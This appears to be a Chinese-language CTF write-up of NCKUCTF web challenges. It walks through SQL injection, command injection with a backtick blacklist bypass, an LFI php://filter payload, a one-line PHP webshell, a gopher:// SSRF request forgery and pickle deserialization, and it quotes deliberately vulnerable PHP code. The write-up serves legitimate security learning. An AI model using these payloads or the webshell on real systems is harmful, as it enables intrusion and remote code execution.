# How to hack website ## Shiba Shop **可以買一打柴柴的網站!!** ### 四處逛逛 隨便點進一個購買頁面  ### 觀察Request 用burp suite攔截請求看一下裡面的結構,試著把cost改成負數看會怎樣  **會變郭台銘把拔**  ### 嘗試存取flag頁面 購買按鈕按不下去,也沒辦法直接把`button`從`disable`改成`enable`,因為裡面根本沒有寫href的位置  但是觀察旁邊兩個item可以發現一個是`/item/5429`一個是`/item/5431` 試試看`/item/5430`  >我是郭台銘所以可以直接把flag買下來 >`flag:`||NCKUCTF{B3w4r3_0f_th3_5h1b4}|| ## Login me 經典SQLi,還給你magic  ### 直接開注 根據search query構造payload,因為password有編碼,所以從username注入 把括號閉合、構造 or 雨具最後把後面註解掉就好了  ## Login me again 進階版SQLi,讀sauce code可以發現這次他會先fetch `username`, 撈出資料後再比對`password`欄位,所以沒辦法用`or`繞過 ### union based SQLi 透過union語句回傳假的資料  此時雖然 `username=''`不會匹配任何欄位,但後面的`union`會回傳admin和password回去 >`flag:`||NCKUCTF{SQL1nj3c710n_1s_4lw4y5_345y}|| ## DNS Tool 看source code可以發現他是透過執行bash指令查詢DNS ```php= <?php if (isset($_POST['name'])) : ?> <section class="has-text-left"> <p>Lookup result:</p> <pre><?= shell_exec("host '" . $_POST['name'] . "';") ?></pre> </section> <?php endif; ?> ``` ### commandline injection 可以透過特殊符號讓一行commandline執行多個指令  這邊用`;`讓指令結束,此時會將`;`後的字串視為另一個指令  可以看到成功達成commandline injection了,到這邊就RCE了 接著只要順藤摸瓜找到`flag`就好了 >`flag:`||NCKUCTF{N3tw0rk_N1nja_2468}|| ## WAF 進階版DNS Lookup Tool ```php= <?php $blacklist = ['|', '&', ';', '>', '<', "\n", 'flag']; $is_input_safe = true; foreach ($blacklist as $bad_word) if (strstr($_POST['name'], $bad_word) !== false) $is_input_safe = false; if ($is_input_safe) system("host '" . $_POST['name'] . "';"); else echo "HACKER!!!"; ?> ``` 這次加了特殊符號過濾 但他沒有濾到<code>`</code>  因為知道`flag`在`/`下面,所以有點通靈盲抓`cat /fla*`,剛好可以繞過blacklist >`flag:`||NCKUCTF{dnst00l_w4f_m4ster_001}|| ## Meow Site 一個有彩虹貓貓在天上飛的網站  ### 隨便逛逛 可以發現`page`參數後面好像接很像路徑的東東  隨便塞幾個西瓜草莓可以大概還原原始麻麻大概長這樣: ```php include($_GET['page'].'.php') ``` ### LFI 使用`php://filter`偽協議把source code dump出來 ```htmlembedded= ?page=php://filter/read=convert.base64-encode/resource=admin ``` 有source code後會發現admin.php把密碼寫死在php裡面,輸入密碼後就可以拿到flag了 >`flag:`||NCKUCTF{Includ3_Th3_Unseen}|| ## HakkaMD 一開始看不太出來是要幹嘛,然後他可以寫東西進去  ### 四處逛逛 可以發現筆記列表的參數好像可以LFI  從報錯訊息可以知道網頁使用`include()` function 所以只要構造好檔案就可以把他強制解析成php  然後他又給你`phpinfo`,可以嘗試直接存取session file看看 ### exploit  可以include session file,所以直接把webshell寫入筆記就可以了 ```php= <?=system($_GET['cmd'])?> ```  RCE了 再來就順藤摸瓜把flag dump出來就好 >`flag:`||NCKUCTF{M4sterOf_HakkaMD|| ## Preview Card 這題網頁可以存取url頁面,flag放在本機,但限制localhost可以存取 可以嘗試用`preview.php`存取localhost/flag.php  雖然可以存取,但是要取得`flag`需要送POST request,而`preview.php`只能送GET request 嗎 ### 使用gopher protocol偽造請求 ```htmlembedded= gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0aHOST:%20127.0.0.1%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%2014%0d%0a%0d%0agivemeflag=yes%0d%0a ``` >`flag:`||NCKUCTF{SSRF_Sneaky_Requests}|| ## Pickle pickle是python的序列化和反序列化的模組 看source code可以發現他把`cookie`內容作base64 encode然後serialize,所以可以對cookie內容動手腳 ```php= if session == None: return '<form action="/login" method="POST">' +\ '<p>Name: <input name="name" type="text"></p>' +\ '<p>Age: <input name="age" type="number"></p>' +\ '<button>Submit</button></form><hr><a href="/sauce">Source code</a>' else: user = pickle.loads(base64.b64decode(session)) return f'<p>Name: {user["name"]}</p><p>Age: {user["age"]}</p>' ``` ## Cat ## Magic Cat ## Jinja2 ## XSS ## SSRFrog # PicoCTF ## Obedient Shiba ## Python Wrangling ## Welcome
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up